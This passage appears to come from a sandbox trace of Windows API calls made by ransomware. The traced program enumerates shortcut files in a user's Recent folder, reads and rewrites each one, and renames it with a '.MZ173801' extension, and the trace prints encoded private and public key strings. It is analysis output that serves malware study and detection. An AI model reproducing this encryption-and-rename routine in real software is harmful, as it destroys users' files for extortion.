dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x27e [0152.646] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.646] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x27e, lpOverlapped=0x0) returned 1 [0152.647] CloseHandle (hObject=0x280) returned 1 [0152.647] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wsBv9esj.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wsbv9esj.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.648] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x27e, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x27e, lpOverlapped=0x0) returned 1 [0152.650] CloseHandle (hObject=0x280) returned 1 [0152.653] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wsBv9esj.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wsbv9esj.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wsBv9esj.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wsbv9esj.lnk.mz173801")) returned 1 [0152.654] GetCurrentThreadId () returned 0xab4 [0152.654] GetCurrentThreadId () returned 0xab4 [0152.654] GetCurrentThreadId () returned 0xab4 [0152.655] GetCurrentThreadId () returned 0xab4 [0152.655] GetCurrentThreadId () returned 0xab4 [0152.655] GetCurrentThreadId () returned 0xab4 [0152.655] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf372d5a1, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf372d5a1, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf372d5a1, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3ea, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="WtcPvUSK6qZR3.ots.lnk", cAlternateFileName="WTCPVU~1.LNK")) returned 1 [0152.655] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0152.655] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0152.655] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WtcPvUSK6qZR3.ots.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wtcpvusk6qzr3.ots.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf372d5a1, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf372d5a1, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf372d5a1, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3ea)) returned 1 [0152.655] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WtcPvUSK6qZR3.ots.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wtcpvusk6qzr3.ots.lnk")) returned 0x20 [0152.655] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WtcPvUSK6qZR3.ots.lnk", dwFileAttributes=0x80) returned 1 [0152.657] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0152.657] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0152.658] GetCurrentThreadId () returned 0xab4 [0152.658] GetCurrentThreadId () returned 0xab4 [0152.658] GetCurrentThreadId () returned 0xab4 [0152.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0152.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0152.659] GetCurrentThreadId () returned 0xab4 [0152.659] GetCurrentThreadId () returned 0xab4 [0152.659] GetCurrentThreadId () returned 0xab4 [0152.659] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WtcPvUSK6qZR3.ots.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wtcpvusk6qzr3.ots.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.659] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0152.659] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.659] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3ea [0152.659] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.659] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3ea, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3ea, lpOverlapped=0x0) returned 1 [0152.660] CloseHandle (hObject=0x280) returned 1 [0152.660] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WtcPvUSK6qZR3.ots.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wtcpvusk6qzr3.ots.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.661] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3ea, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3ea, lpOverlapped=0x0) returned 1 [0152.662] CloseHandle (hObject=0x280) returned 1 [0152.666] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WtcPvUSK6qZR3.ots.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wtcpvusk6qzr3.ots.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WtcPvUSK6qZR3.ots.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wtcpvusk6qzr3.ots.lnk.mz173801")) returned 1 [0152.666] GetCurrentThreadId () returned 0xab4 [0152.666] GetCurrentThreadId () returned 0xab4 [0152.666] GetCurrentThreadId () returned 0xab4 [0152.666] GetCurrentThreadId () returned 0xab4 [0152.666] GetCurrentThreadId () returned 0xab4 [0152.666] GetCurrentThreadId () returned 0xab4 [0152.666] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59ece073, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x59ece073, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x59ece073, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="WVzot.flv.lnk", cAlternateFileName="WVZOTF~1.LNK")) returned 1 [0152.666] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0152.666] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0152.666] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WVzot.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wvzot.flv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59ece073, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x59ece073, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x59ece073, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x45b)) returned 1 [0152.667] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WVzot.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wvzot.flv.lnk")) returned 0x20 [0152.667] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WVzot.flv.lnk", dwFileAttributes=0x80) returned 1 [0152.668] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 